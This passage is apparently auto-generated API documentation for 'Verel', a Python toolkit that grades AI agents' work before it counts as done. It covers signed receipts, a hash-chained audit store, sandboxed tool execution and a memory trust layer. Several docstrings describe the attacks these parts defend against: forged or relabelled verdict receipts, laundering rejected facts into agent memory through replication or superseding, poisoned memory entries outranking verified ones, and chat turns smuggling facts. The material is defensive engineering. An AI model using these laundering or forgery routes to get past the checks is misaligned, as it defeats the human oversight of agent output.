escalation_override(plan_json: dict) -> dict[str, ActionClass]
Plan-aware Policy.overrides for the gateway: classify terraform/tofu apply from the bound
plan, and always treat destroy as IRREVERSIBLE.
iam_action_class ¶
iam_action_class(tool: str) -> ActionClass | None
IRREVERSIBLE for an IAM-widening tool name (Capture C), else None (defer to verb heuristics).
iam_tool_overrides ¶
iam_tool_overrides(tools: list[str]) -> dict[str, ActionClass]
Build Policy.overrides forcing every IAM-mutating tool in tools to IRREVERSIBLE.
Effective-access verifier¶
access_verify ¶
Effective-access verification — the act-then-verify capstone for IAM (IAC-KICKOFF.md Phase 5).
Pre-apply graders (Captures A/B) read what a change intends. This reads what the cloud actually
grants — closing the gap that makes IAM problems surface "only when something goes wrong". It shells
out to the cloud's own analyzers (AWS IAM Access Analyzer + policy simulator, GCP Policy/asset IAM
analysis, Azure role assignments) with creds resolved from ~/.config (see cloudcreds), and maps their
findings onto the verdict bus as GraderKind.IAM issues.
NOTE — this is NOT a pure offline gate: it needs cloud READ credentials, and provider calls can't be sandboxed. The parsers are pure (offline-tested); the verifier's runner is injected. Fail closed: no creds, or a CLI error, ⇒ an errored Report, never a silent pass.
EffectiveAccessVerifier ¶
aws_simulate_principal ¶
aws_simulate_principal(principal_arn: str, actions: list[str], creds: CloudCreds) -> Report
The TRUE effective-access check for AWS — aws iam simulate-principal-policy asks the
account what principal_arn is ACTUALLY allowed to do (across all attached/inline/boundary/SCP
policies), not what one document says. This is the "verify against reality" path; validate-
policy (above) is only a static lint of a local document (round-7 R7-1). Fail closed on no
creds / CLI error / empty output.
parse_aws_validate_policy ¶
parse_aws_validate_policy(out: str, err: str = '') -> list[Issue]
aws accessanalyzer validate-policy: {"findings":[{findingType,issueCode,findingDetails}]}.
ERROR + SECURITY_WARNING gate; WARNING advises; SUGGESTION informs.
parse_aws_simulate ¶
parse_aws_simulate(out: str, err: str = '', sensitive: set[str] | None = None) -> list[Issue]
aws iam simulate-principal-policy: {"EvaluationResults":[{EvalActionName,EvalDecision,
EvalResourceName}]}. An effectively-ALLOWED sensitive action is a gating finding.
parse_gcp_analyze_iam ¶
parse_gcp_analyze_iam(out: str, err: str = '') -> list[Issue]
gcloud asset analyze-iam-policy --format=json: {"mainAnalysis":{"analysisResults":[{"iamBinding":
{"role","members":[...]}}]}} (also tolerates a top-level analysisResults). Admin roles or public
members gate.
parse_az_role_assignments ¶
parse_az_role_assignments(out: str, err: str = '') -> list[Issue]
az role assignment list --all -o json: [{principalName,roleDefinitionName,scope}]. Admin
roles at a subscription/management-group scope gate.
Cloud credential resolution¶
cloudcreds ¶
Cloud credential resolution for the effective-access verifier (IAC-KICKOFF.md Phase 5).
House rule: secrets are external-service creds under ~/.config/, never in a repo. This resolves
AWS / GCP / Azure credentials from that layout into the environment a cloud CLI subprocess needs.
Credential VALUES are never logged — CloudCreds.__repr__ shows only env key names and the
provenance PATH (safe to put in a receipt). Fail closed: absent/unreadable creds ⇒ available=False
⇒ the verifier returns an errored Report, never a silent pass.
Layout resolved (matches this machine; falls back gracefully elsewhere):
AWS ~/.config/AWS/rootkey.csv cols "Access key ID","Secret access key"
GCP ~/.config/gcp/
Receipts & attestation¶
Sign and verify run-receipts; the two-tier (hmac-sha256 / ed25519) signing and the trusted-key
resolution that makes a verdict publicly re-checkable.
attest ¶
Gate-level attestation (§4) — wrap the per-grader RunReceipts a stage produced into ONE verifiable GateReceipt, and verify it.
This is the artifact the gate MCP tool hands back to an agent (and that verel verify can check):
the receipt every other party uses to confirm the verdict was real. Integrity comes from two places —
a fingerprint that recomputes from the graded outcome (tamper-evident), and the per-grader
RunReceipt signatures (which can be ed25519, i.e. publicly verifiable, when verel[attest] is on).
mint_report_receipt ¶
mint_report_receipt(report: Report, *, suite_sha: str, inputs_digest: str, coverage_assertion: str, attest: str = 'auto', runner_identity: str = 'sight-runner') -> RunReceipt
Attach a signed RunReceipt to report, binding its graded outcome. Used by senses (e.g. sight)
that produce Reports outside the CI grader path but still need attestation (§4). attest: "hmac"
or "ed25519" (publicly verifiable).
build_gate_receipt ¶
build_gate_receipt(verdict: Verdict, reports: list[Report], *, issued_by: str | None = None, attest: str = 'auto', subject: str = '') -> GateReceipt
Assemble the gate-level receipt from a stage's reports (each carrying its signed RunReceipt)
and SIGN the envelope (attest: "hmac" in-domain, or "ed25519" publicly verifiable). The
envelope signature binds the aggregate verdict + the grader set — the grader receipts alone
don't (a real grader receipt could otherwise be paired with a flipped gate verdict). subject
binds extra attested context (e.g. a sight percept's image_ref + matches_intent).
fact_commitment ¶
fact_commitment(subject: str, predicate: str, text: str) -> str
A deterministic commitment to a claim's CONTENT (subject|predicate|text — not its scope, which
is only where it's filed). This is what a fact attestation binds into its signed subject, so a
receipt proves it attests THIS exact claim — closing the trust-laundering gap (an unrelated valid
receipt can't promote a different fact). Producer and importer compute it identically.
Uses the FULL 256-bit blake2s digest (not the [:16] dedup truncation): this is a security binding
where an attacker would benefit from a second-preimage, so the collision margin must be infeasible
(2^128), not the ~2^64 a 64-bit truncation would allow. factclaim domain-tagged + length-prefixed
(injective), so no field-boundary collision between subject/predicate/text.
attest_fact ¶
attest_fact(verdict: Verdict, reports: list[Report], *, subject: str, predicate: str, text: str, attest: str = 'ed25519', issued_by: str | None = None) -> GateReceipt
Mint a PORTABLE fact attestation — a signed GateReceipt whose subject commits to the claim, so
a DIFFERENT principal can accept it as proof this fact passed a trusted grader. reports are the
eval/grader reports the verdict rests on (each carrying its signed RunReceipt).
verify_fact_attestation ¶
verify_fact_attestation(receipt: GateReceipt | dict, subject: str, predicate: str, text: str, *, allowed_algs: set[str] | None = None) -> bool
True iff receipt is a GateReceipt that VERIFIES, attests a PASS verdict, and is bound to THIS
exact fact (its signed subject == the fact commitment). The basis for a cross-principal verified
tier: trust travels only via a trusted grader's signature over this specific claim — never the
caller's say-so, and never an unrelated receipt. Pass allowed_algs={"ed25519"} to require public
verifiability (no shared secret), as a cross-principal importer must.
verify_gate_receipt ¶
verify_gate_receipt(receipt: GateReceipt, *, allowed_algs: set[str] | None = None) -> GateReceiptVerification
Verify a gate-level receipt with NO trust in its producer. Fails closed in layers:
1. the ENVELOPE signature must verify (binds verdict + fingerprint + identity) — this is what
makes the aggregate verdict unforgeable;
2. the fingerprint must recompute from the grader lines;
3. every PRECISE grader (precise determined by KIND, never the receipt's self-declared flag —
else an attacker relabels a grader advisory to skip its check) must carry a RunReceipt whose
signature verifies.
public_verifiable is True only when the envelope AND all precise receipts verified as ed25519.
keys ¶
ed25519 keys for publicly-verifiable receipts (substrate §11).
Two-tier signing: HMAC-SHA256 stays the default within a trust domain (see gate.sign_receipt);
ed25519 adds public verifiability across domains — a second party verifies a receipt offline with
only the producer's PUBLIC key, no shared secret.
Trust is pinning, never TOFU. A valid ed25519 signature is necessary but NOT sufficient: the
receipt's key_id MUST resolve in the verifier's trusted set — the runner's own key (zero-config
local roundtrip) or a published key under ~/.config/verel/trusted_keys/<key_id>.pub. An
attacker-minted receipt is cryptographically self-consistent but rejected because its key is untrusted.
PyNaCl is an OPTIONAL dependency (pip install verel[attest]). With it absent, ed25519 verification
fails CLOSED (the gate FAILs; the verify verb surfaces an install hint) — never silent green.
MissingAttestationDep ¶
Bases: RuntimeError
Raised when an ed25519 operation is attempted without PyNaCl installed.
available ¶
available() -> bool
True iff ed25519 (PyNaCl) is installed — i.e. receipts can be minted publicly verifiable.
key_id_for ¶
key_id_for(public_key: bytes) -> str
Stable short identity of a public key: first 16 chars of urlsafe-b64(sha256(pubkey)).
resolve_trusted_key ¶
resolve_trusted_key(key_id: str) -> VerifyKey | None
Return the VerifyKey for key_id IFF it is trusted: the runner's own key, or a published
<key_id>.pub in the trusted dir. Returns None for any untrusted/unknown key — the gate then
fails closed. The stored pubkey must itself hash back to key_id, so a mis-named file cannot
grant trust for a different key.
ed25519_verify ¶
ed25519_verify(receipt) -> bool
Verify an ed25519 receipt under the pinning trust model. False on ANY failure (fail closed). Raises MissingAttestationDep only when PyNaCl is absent — the caller decides how to surface that.
attest_self ¶
attest_self(receipt) -> None
Stamp receipt with the local runner's ed25519 identity + inline pubkey, then sign it.
Mutates in place: sets alg, runner_identity, public_key, signature.
Receipt kind — two-tier model (ReceiptKind)¶
GateReceipt carries a receipt_kind field (bound into the signature — flipping it invalidates the HMAC):
| Value | Meaning |
|---|---|
COMMITTED (default) |
Irreversible actions. Synchronously blocking — nothing advances until the receipt is durably written. Non-revocable. |
OPTIMISTIC |
Advisory / read-only / idempotent actions. Signed asynchronously; revocable if a later grader contradicts it. |
from verel.verdict import ReceiptKind
receipt = build_gate_receipt(verdict, reports)
assert receipt.receipt_kind == ReceiptKind.COMMITTED # default — safe for destructive actions
Crash-atomic receipt store (ReceiptStore)¶
ReceiptStore persists receipts to disk with two invariants:
- WAL before grading (DC-01):
begin(action_id)writes a pending entry atomically before any grader runs. A crash betweenbegin()andcommit()leaves the WAL in place;check_pending()surfaces the gap. - Hash-chain (DC-02):
commit()writes viaos.replace()(atomic rename) and chains each receipt to its predecessor withprev_hash = SHA-256(prev_receipt).verify_chain()walks the store and detects any tampered or missing link.
from verel.verdict import ReceiptStore
store = ReceiptStore() # defaults to QUINE_RECEIPT_STORE or ~/.local/share/quine/receipts
store.begin("action-42") # WAL written — grading starts
receipt = gate(reports) # grader executes
h = store.commit(receipt, "action-42") # atomic write, WAL cleared
ok, reason = store.verify_chain() # confirm chain is intact
store ¶
Crash-atomic, hash-chained receipt store for QuineOS (DC-01 + DC-02).
Design invariants enforced here
DC-01 WAL before grading: begin() writes a pending entry BEFORE any grader runs. A crash between grader completion and receipt commit leaves the WAL in place — check_pending() surfaces this so the caller knows the grading window is unverified. commit() writes the receipt atomically via os.replace (rename(2) on POSIX, atomic on the same filesystem) so a crash during the write either produces the complete receipt or nothing; there is no partial-write state. DC-02 Hash-chain: each committed receipt envelope records the SHA-256 of its predecessor (prev_hash). The HEAD file tracks the latest hash. verify_chain() walks the store and confirms every link is intact — a missing or altered receipt breaks the chain.
The store is NOT a database. It is a WORM (write-once-read-many) audit log. Once committed, a receipt must not be modified or deleted. verify_chain() detects tampering.
Thread safety: os.replace is atomic on POSIX for same-filesystem renames. The HEAD file uses the same pattern. Concurrent writers from different processes are safe as long as they hold the WAL for distinct action_ids (the WAL path encodes the PID). Multi-writer chain ordering is best-effort; the chain is still tamper-evident, just not strictly serialised across processes.
ReceiptStore ¶
Crash-atomic, hash-chained receipt store.
Typical usage::
store = ReceiptStore()
store.begin(action_id) # WAL written — grading starts
receipt = grader.run(...) # grader executes
h = store.commit(receipt, action_id) # receipt written atomically, WAL cleared
assert store.check_pending() is None # clean
begin ¶
begin(action_id: str) -> None
Write WAL entry BEFORE any grader runs (DC-01).
If the process crashes after begin() but before commit(), check_pending() will return this action_id so the caller knows the grading result is unverified.
commit ¶
commit(receipt: GateReceipt, action_id: str) -> str
Atomically write receipt to the store, chained to the previous receipt (DC-01 + DC-02).
Returns the SHA-256 hex digest of this receipt envelope (the new HEAD). Clears the WAL for this action_id on success.
check_pending ¶
check_pending() -> str | None
Return the action_id of any interrupted (WAL-without-receipt) grading, or None.
A non-None return means a grading window is unverified: the process that called begin() crashed before commit(). The caller should surface this as an unverified gap.
iter_receipts ¶
iter_receipts() -> Iterator[dict]
Yield all committed receipt envelopes in the store, in arbitrary order.
verify_chain ¶
verify_chain() -> tuple[bool, str]
Walk every committed receipt and verify the prev_hash chain is intact.
Returns (True, "ok") if the chain is unbroken, or (False, reason) if any link is broken or any receipt's stated prev_hash doesn't match the prior receipt's receipt_hash.
Fleet — agents managing agents¶
Fan a goal out into independent subtasks, run workers in isolated git worktrees under a single-writer scheduler, fence stale leaders with leases, and commit cross-repo work as an atomic saga.
fleet ¶
Verel fleet — agents managing agents (§6).
v1-cut control plane: roles + retry + heartbeat, single-writer scheduler over a Task DAG with barriers/budget/WAL-resume, manager fan-out with plane validation, and a worker adapter that gates every node through the verdict bus. Worker fencing + git fencing sink are v3.
ControlPlaneServer ¶
A threaded HTTP front-end for a durable SqliteLeaseStore. start() binds and serves in a
background thread; url is the base address; stop() shuts it down.
RemoteLeaseStore ¶
A LeaseStore over HTTP — points the scheduler at a ControlPlaneServer. The now args in
the Protocol are accepted but ignored: the server is the clock authority.
FencingError ¶
Bases: RuntimeError
A write was attempted with a stale (non-current) fencing token.
InMemoryLeaseStore ¶
Single-process fencing store — correct for many schedulers in one process, and the test vehicle. Per-key: the highest token ever issued, the active lease, and any terminal outcome.
holder ¶
holder(key: str, *, now: float) -> str | None
The owner of the live lease on key, or None if none is held / it has expired.
SqliteLeaseStore ¶
Cross-process fencing store. Acquisition is a single BEGIN IMMEDIATE transaction so two
processes cannot both take the same expired lease. Same fencing semantics as the in-memory
store; pass a file path shared by every manager.
CrossDep
dataclass
¶
dependent (in to_repo) waits on needs (in from_repo) under barrier.
Scheduler ¶
BudgetLease ¶
Bases: BaseModel
Per-run budget. The scheduler enforces it as a HARD ceiling (§6.5).
WorktreeManager ¶
Creates/removes isolated worktrees of repo_root under .verel/wt/<task-id>.
acquire_lease ¶
acquire_lease(task_id: str) -> None
Exclusive advisory lock. O_CREAT|O_EXCL is atomic on POSIX, so two workers cannot both hold the same task's lease (the single-writer split-brain guard).
enable_push_options ¶
enable_push_options(repo_git_dir: str | Path) -> None
A fenced push sends its token as a push option, which a remote only relays to the hook when
receive.advertisePushOptions is on. Set it on the bare remote (idempotent).
push_options ¶
push_options(resource: str, token: int) -> list[str]
The -o args a fenced push must carry: git push -o verel-resource=R -o verel-token=N.
render_pre_receive_hook ¶
render_pre_receive_hook(db_path: str | Path, *, python: str | None = None) -> str
The pre-receive hook script that fences pushes against the sqlite lease store at db_path.
validate_push ¶
validate_push(store: LeaseStore, resource: str, token: int) -> FenceDecision
Accept iff token IS the current (highest-issued) token for resource. A stale leader's
token is below the current one (a successor took over and bumped it); an unknown resource has
no issued token (current 0); a token above current was never issued — all rejected.
write_pre_receive_hook ¶
write_pre_receive_hook(repo_git_dir: str | Path, db_path: str | Path, *, python: str | None = None) -> Path
Install the hook into <repo_git_dir>/hooks/pre-receive (the bare-remote hooks dir), make
it executable, and enable push options on the remote. Returns the hook path.
decide_fanout ¶
decide_fanout(goal: str, *, artifacts: list[str] | None = None, context: str = '', chat: ChatFn | None = None, max_subtasks: int = 8) -> FanOut
Ask the manager agent to decompose goal. Always returns a VALID, clamped FanOut:
the model proposes, the plane disposes; invalid output falls back to the deterministic
one-worker-per-artifact plan.
plan_over_artifacts ¶
plan_over_artifacts(goal: str, artifacts: list[str], *, concurrency_cap: int = 4) -> FanOut
Deterministic manager: one independent worker subtask per artifact (the common 'fix every page in the design system' fan-out). LLM-driven planning is the v2 upgrade behind the same FanOut contract.
validate_fanout ¶
validate_fanout(fo: FanOut) -> tuple[bool, str]
Return (ok, reason). Enforces independence + acyclicity + sane caps.
plan_multi_repo ¶
plan_multi_repo(repos: dict[str, list[Task]], cross_deps: list[CrossDep]) -> list[Task]
Combine per-repo task lists into one namespaced, cross-linked DAG (validated acyclic).
repos: {repo_name: [tasks]} — task ids are local to their repo. cross_deps: edges that
cross repos. Returns the unified task list; run it under a single Scheduler.
repo_of ¶
repo_of(task: Task) -> str
The repo a namespaced task belongs to (prefers the explicit field, falls back to the id).
git_revert_head ¶
git_revert_head(repo: str) -> str
Compensate a commit by REVERTING it (a new inverse commit, never a history rewrite). Returns the revert commit sha. Raises on failure so the saga records it.
run_saga ¶
run_saga(steps: list[SagaStep]) -> SagaResult
Run forward actions in order. On the first failure, compensate every already-committed step
in REVERSE order and skip the rest — the whole change is all-or-nothing. A compensation that
itself fails is reported (failed) but does not stop the other compensations.
ultracode_worker ¶
ultracode_worker(*, backend: str = 'local', ledger=None, fix=None, log_dir='./.verel/fleet')
Build a WorkerFn for the Scheduler. ledger (optional) shares failure-memory across
the fleet so one worker's lesson can gate another's regression.
worktree_ultracode_worker ¶
worktree_ultracode_worker(mgr: WorktreeManager, *, seed: Callable[[Worktree, Task], str], backend: str = 'local', ledger=None, fix=None, commit: bool = True)
A worker that runs the ultracode loop inside an ISOLATED git worktree (§6.1, §6.3).
seed(worktree, task) materializes the task's starting artifact inside the worktree and
returns its path. On PASS the fix is committed on the worktree's own branch; the worktree
(and its advisory lease) is always released. Parallel workers can't stomp each other.
Tool-smith — agents build their own tools¶
Detect → scaffold → test → register a tool, admitted only on a passing held-out eval and then run sandboxed under a learned capability jail.
toolsmith ¶
Verel tool-smith — agents building their own tools (§7.6).
detect → scaffold → test → register → reuse. Tools live in procedural memory (SKILL records) behind the same MemoryView, gated by the same attested eval discipline as facts/skills: verified-and-auto for read-only/idempotent tools, human-review-gated for destructive ones.
ToolRegistry ¶
Procedural memory over a MemoryView. Tools are SKILL records; reuse via recall.
best_runner ¶
best_runner()
Return the strongest available tool runner: container (bwrap) else rlimit subprocess. The subprocess fallback has NO network/seccomp isolation, so the downgrade is warned, not silent — do not run untrusted/remote code through it (the MCP path requires the container tier outright).
run_container ¶
run_container(tool: ToolRecord, args=None, kwargs=None, *, timeout_s: float = 5.0, cpu_s: int = 3, mem_bytes: int = 256 * 1024 * 1024, seccomp: bool = True, seccomp_profile: str = PROFILE_DENYLIST, seccomp_allow=None, require_seccomp: bool = False)
Execute tool inside a bwrap namespace sandbox (no net, read-only fs, ephemeral tmp), and
— when seccomp is requested and a libseccomp binding is present — under a seccomp-bpf filter
applied to the sandboxed process. seccomp_profile:
* "denylist" (default) — safe for arbitrary tools (deny the dangerous set);
* "allowlist" — a strict default-deny jail for untrusted pure-compute code;
* "capability" — the tightest: allow only this tool's learned syscall policy. The policy is
seccomp_allow if given, else tool.syscall_policy.
load_callable ¶
load_callable(tool: ToolRecord, *, timeout_s: int = 2)
Materialize the tool's function. Verifies the signature first; execs in a restricted namespace with a wall-clock timeout. NOT a production sandbox (see module docstring).
run_sandboxed ¶
run_sandboxed(tool: ToolRecord, args=None, kwargs=None, *, timeout_s: float = 3.0, cpu_s: int = 2, mem_bytes: int = 256 * 1024 * 1024)
Execute tool in an isolated subprocess. Verifies the signature first; returns the
function's return value, or raises SandboxError on failure/timeout/limit.
build_bpf ¶
build_bpf(fileobj, *, profile: str = PROFILE_DENYLIST, allow=None) -> int
Compile the profile filter and write the cBPF program (libseccomp's bwrap-compatible
export) to fileobj. Returns the number of syscall rules actually installed. Raises if no
libseccomp binding is available. allow is the per-tool policy for the capability profile.
capability_allow ¶
capability_allow(policy) -> tuple[str, ...]
The full allow-set enforced for a per-tool policy: the learned syscalls unioned with the
bwrap supervisor set and the benign runtime floor. Sorted, de-duplicated.
seccomp_available ¶
seccomp_available() -> bool
True iff a libseccomp python binding is importable, so a filter can be compiled.
learn_syscall_profile ¶
learn_syscall_profile(code: str, name: str, cases: list[ToolCase], *, timeout_s: float = 10.0) -> tuple[str, ...]
Trace code's name function over cases and return the sorted union of syscalls used.
Returns () if strace is unavailable (callers should fall back to the allowlist profile).
eval_tool_cases ¶
eval_tool_cases(code: str, name: str, cases: list[ToolCase], *, side_effect: SideEffect = SideEffect.READ_ONLY, sandbox: bool = False, isolation: str | None = None) -> tuple[bool, float, str]
Run code's name function against held-out cases. Shared by the smith and the
cross-tenant registry import (§8.7) so transfer is judged the SAME way as local build.
isolation: 'none' (in-process), 'subprocess' (rlimits), 'container' (bwrap), 'best'.
sandbox=True is the back-compat alias for isolation='subprocess'.
SECURITY: the default is 'best' (real isolation), NEVER in-process — this function runs LLM-scaffolded and cross-tenant code, and the in-process restricted-builtins guard is trivially escaped. 'none' must be opted into EXPLICITLY (trusted code only, e.g. fast tests).
Integrations & SDK¶
One gate() callable plus function-calling schemas in OpenAI and Anthropic shape (and a lazy
LangChain adapter) — the universal hook that lets any agent grade its own work before "done".
sdk ¶
Agent-SDK shims (the "Reach" track, R3) — one hook into any framework's done-step.
Verel grades artifacts, so the integration is the same everywhere: give the agent a tool that runs
the gate and reads the verdict before it declares "done". This module ships the framework-agnostic
pieces — a plain gate() callable, the function-calling tool schemas in OpenAI and Anthropic shape,
and a dispatcher — so it works with OpenAI Assistants / function calling, the Anthropic SDK, the
Claude Agent SDK, LangGraph/LangChain, CrewAI, AutoGen and anything that accepts a Python callable
or a tool schema. No heavy SDK is imported here (zero new deps); the docs show the 1-line wiring per
framework, and langchain_tools() lazily adapts to LangChain when it's installed.
gate ¶
gate(repo: str = '.', *, criteria: str | None = None, files: list[str] | None = None, lint: bool = True) -> dict
Run the Verel gate on repo and return the verdict the agent should read before "done".
Runs the CI gate (tests + lint + types). If criteria (the ticket / acceptance text) is given,
ALSO runs the spec/intent grader and folds it in. Returns
{"verdict": pass|warn|fail, "issues": [...], ...} — treat the work as done only on pass.
openai_tools ¶
openai_tools() -> list[dict]
The gate as an OpenAI function-calling tool (also works with most OpenAI-compatible APIs).
anthropic_tools ¶
anthropic_tools() -> list[dict]
The gate as an Anthropic (Claude) tool-use definition.
run_tool_call ¶
run_tool_call(name: str, arguments: str | dict) -> dict
Execute a tool call emitted by any of the schemas above. arguments is the model's JSON (str
or already-parsed dict). Unknown tools return an error dict rather than raising.
langchain_tools ¶
langchain_tools() -> list
The gate as a LangChain/LangGraph StructuredTool (lazy — needs langchain_core).
GitHub PR context¶
Fetch the acceptance text and changed files for a pull request, to feed the spec/intent graders.
github ¶
Pull a PR's context from GitHub — the "ticket" + diff that feed the spec/intent grader (R2).
The spec grader (B) needs two things: the acceptance criteria (the human-written intent — the PR
body and any linked issue) and the changed files (what to check against). Both already live in the
team's GitHub; this reads them rather than inventing a new SPEC.md. The network call is injectable
(fetch) so orchestration is offline-testable; the parsing helpers are pure.
Auth rides an operator-supplied token (VEREL_GITHUB_TOKEN); the HTTP uses the hardened transport
opener (ignores ambient proxy env, secure redirects). GitHub Enterprise via api=.
linked_issue_numbers ¶
linked_issue_numbers(pr_body: str) -> list[int]
Issue numbers a PR body closes (so their text counts as acceptance criteria too).
changed_files ¶
changed_files(diff: str, *, suffix: str = '.py') -> list[str]
The files a unified diff touches (the grader's targets). Filtered by suffix; /dev/null
(deletions) dropped. Order-preserving, de-duplicated.
acceptance_text ¶
acceptance_text(pr_title: str, pr_body: str, issue_bodies: list[str]) -> str
Assemble the human-written intent the grader reasons over: the PR title/body + each linked issue's body. This is the 'ticket' — never the agent's diff, so the agent can't write the spec to match its own bug.
fetch_pr_context ¶
fetch_pr_context(repo_full_name: str, number: int, *, token: str | None = None, api: str = 'https://api.github.com', cafile: str | None = None, fetch=None) -> dict
Fetch {title, body, diff, criteria, changed_files} for a PR. fetch(path, *, accept) is
injectable for testing; by default it GETs GitHub over the transport opener.
Memory¶
The MemoryView Protocol and the lattice recall/graduation that compounds only verified work.
view ¶
MemoryView — the trust layer Verel owns over a (rentable) memory backend (§5).
Faithful to the design's load-bearing rules:
- Two orthogonal quantities, never multiplied into one stored field (§5):
* epistemic_confidence — how true we believe it is. Moved ONLY by corroboration(+)/
contradiction(-). Retrieval NEVER touches it.
* retrieval_strength — how reachable it is. Power-law decay with disuse; reset+extended
by recall (the testing effect). Decay NEVER mutates truth.
- Ranking combines the two by a DOCUMENTED rule (rank() below); it does not collapse them.
- Prune ONLY when ALL hold: retrieval_strength < 0.15 AND epistemic_confidence < 0.4 AND
support_count < 2 AND trust != verified.
- subj_pred_key is the interference key: a new value for the same (subject, predicate,
scope) supersedes rather than silently duplicating.
MemoryView is a Protocol so the rented backend (mem0) and the bundled zero-dep
LocalMemory (sqlite) are interchangeable. Verel's value is THIS layer, not the storage.
canonical_text ¶
canonical_text(s: str) -> str
The shared canonical render of an untrusted value: NFKC-fold, strip zero-width/bidi/object- replacement, collapse controls + every Unicode whitespace run to one space, defang angle brackets, strip. This is EXACTLY what the LLM sees via recall; the trust gate compares on this same form.
canon_value ¶
canon_value(text: str) -> str
Canonicalize a fact VALUE for rejection/identity comparison — canonical_text (matching the
renderer byte-for-byte) plus casefold, so case- and invisible-variant restates of a REJECTED value
can't diverge the gate from what's actually shown to the LLM (rounds 9/10/11).
rejected_key ¶
rejected_key(text: str) -> str
The BOUNDED key under which a REJECTED value is remembered: canon_value truncated, so the
rejected_values ledger entries stay small (detail_json size decoupled from attacker value length,
round-12) while the storage and gate sides share ONE function and can't drift. Two values sharing a
200-char canonical prefix collide → both blocked (fail-safe over-block, never a launder).
drop_reserved_detail ¶
drop_reserved_detail(detail: dict) -> dict
Strip the security-critical ledger keys from an UNTRUSTED detail update. The rejected-value
ledger is append-only via record_rejection/supersede_detail/guard_replica; a caller must
never clear it through a metadata write (round-14/C-2: annotate(rejected_values=[]) then
demote then promote laundered a rejected value). Applied at the untrusted wire boundary only —
trusted in-process callers (e.g. pg's contradict persisting the ledger) call annotate directly.
guard_replica ¶
guard_replica(existing: MemoryRecord | None, record: MemoryRecord) -> None
Anti-laundering guard for the verbatim-upsert replication primitive apply_replica
(round-14/A). apply_replica writes trust + detail AS-IS, bypassing promote(); a hostile
replication peer (or any /apply caller) could otherwise upsert a REJECTED value as VERIFIED with
an empty ledger. This mutates the incoming record so a replica can NEVER:
(1) drop a local rejection — the durable ledger from any record already at this id is UNIONED
into the incoming record (and the saturation flag OR'd), never replaced; and
(2) resurrect a rejected value — if the incoming value's own key is in the merged ledger it is
forced back to REJECTED (a durable tombstone: not recallable, not promotable — downgrading
only to CANDIDATE would still surface the lie in recall); and
(3) arrive VERIFIED on a SATURATED key — a new (not-individually-rejected) value on a key with
too many rejections may exist as a CANDIDATE but can't be verified over the wire.
A legitimate replica of a never-rejected value is untouched (empty merged ledger → not blocked).
is_launder_blocked ¶
is_launder_blocked(r: MemoryRecord) -> bool
The SINGLE anti-laundering guard every promotion path must inherit (round-13/C1+C2).
A record must not become VERIFIED if its value was ever REJECTED on this key. True when the
record is currently REJECTED, its value's key is in the durable rejected_values ledger, or the
ledger has SATURATED (fail-safe overblock). Pushing this into the promote() primitive means
every caller — CLI review, MCP verel_remember, the PromotionGate — is guarded, instead of
each re-implementing (and some forgetting) the check.
supersede_detail ¶
supersede_detail(existing: MemoryRecord, record: MemoryRecord, *, ts: float) -> None
The CANONICAL supersede bookkeeping, shared by every backend's write() interference path.
Mutates record (the incoming replacement) in place:
- appends existing to a BOUNDED correction chain (length- and per-entry-capped, so repeated
supersessions of attacker-length values can't inflate detail_json — round-11 Finding B);
- resets support/strength (a new value earns its own corroboration);
- carries the DURABLE rejected_values ledger forward, adding existing's value when it was
REJECTED — so supersede-then-restate can't launder a rejected value back to promotable
(round-7 C1). The promotion gate consults this ledger;
- stamps VALID-time (bi-temporal): the superseded value's interval closes at ts (recorded in
its chain entry), and the incoming value's valid_from opens at ts unless the caller set it.
record_rejection ¶
record_rejection(r: MemoryRecord) -> bool
Append r.text's bounded canonical key to r's rejected_values ledger (in place).
Returns True when the ledger changed (caller must persist r). Shared by every backend's
contradict → REJECTED transition so the anti-laundering ledger exists on all of them.
relevance ¶
relevance(query: str, record: MemoryRecord) -> float
Lexical token-overlap relevance (shared by all backends; embeddings are the v2 upgrade behind the same interface).
rank ¶
rank(record: MemoryRecord, relevance: float) -> float
The DOCUMENTED ranking rule. Combines the orthogonal signals + relevance + trust tier; it never multiplies confidence into strength or vice-versa. A much more relevant candidate still beats a barely-relevant verified one (relevance dominates) — but at COMPARABLE relevance, verified wins, so a poisoned candidate can't outrank a verified fact.
Two properties make that hold against an attacker who repeats a lie to inflate a CANDIDATE (round-6 H1): (1) a VERIFIED fact does not decay OUT of ranking — its retrieval_strength is floored, because trusted knowledge shouldn't be forgotten beneath a fresh candidate; (2) the trust term is sized to cover the largest recency+confidence swing a candidate can manufacture (W_REC + W_CONF), so raw repetition can't lift a candidate past a verified fact at equal relevance.
is_volatile ¶
is_volatile(r: MemoryRecord) -> bool
Volatile-until-confirmed: not retained unless corroborated/verified.
is_expired ¶
is_expired(r: MemoryRecord, now: float) -> bool
Hard TTL — for ephemeral environment facts (e.g. 'current branch is X').
correction_chain ¶
correction_chain(r: MemoryRecord) -> list[dict]
The history of values this record superseded (newest supersession last).
value_as_of ¶
value_as_of(r: MemoryRecord, t: float) -> MemoryRecord | None
Bi-temporal reconstruction: the version of r's key whose VALID interval contained wall-clock
time t — the current value, or a superseded one recovered from the correction chain — or None if
the key held no value then. The returned record carries the historical text + that value's
[valid_from, valid_to) and confidence, so an as-of recall ranks the value that was actually
believed at t, not today's. Pure + backend-agnostic (the chain lives in detail_json).
effective_half_life ¶
effective_half_life(r: MemoryRecord, base_half_life_s: float) -> float
Per-record half-life: the base, stretched by demonstrated usefulness (support_count + epistemic_confidence), capped at HL_MAX_FACTOR×. A one-off weak memory decays at the base rate; a corroborated, believed one persists much longer. Reachability tuning only.
apply_decay ¶
apply_decay(r: MemoryRecord, *, now: float, half_life_s: float, stale_after_s: float, volatile_ttl_s: float) -> bool
Mutate r per the decay policy; return True if it should be pruned/deleted.
Shared by every backend so lifecycle behaviour is identical across LocalMemory/mem0.
Conversational memory — extract → grade → budgeted recall¶
Extract durable facts from a conversation, let only graded facts compound (corroborated or attested — never a one-off say-so), and recall them token-budgeted and verified-first. See Memory backends → Conversational memory.
extract ¶
Conversational fact extraction (MEMORY-EXTRACTION-KICKOFF.md, Phase 1).
Turn a conversation into candidate SPO facts. The novel part is small on purpose: extraction
itself is what Mem0/Engram/Honcho do; the moat is that every extracted fact is written as
Trust.CANDIDATE and only compounds after the existing held-out / attested promotion gate
(promotion/principal.import_belief) makes it Trust.VERIFIED. This module does NOT promote —
it only proposes. Phase 2 wires the gate.
House rules honored
ChatFnis INJECTED, so the whole module is unit-tested offline with a fake chat (no API key).parse_extracted_factsis PURE over the model's output and fails closed on hostile/garbage JSON — the transcript is untrusted input (a chat turn can try to smuggle a fact), so a bad/oversized payload yields[], never a crash or a partial trusted write.- Records are content-addressed (
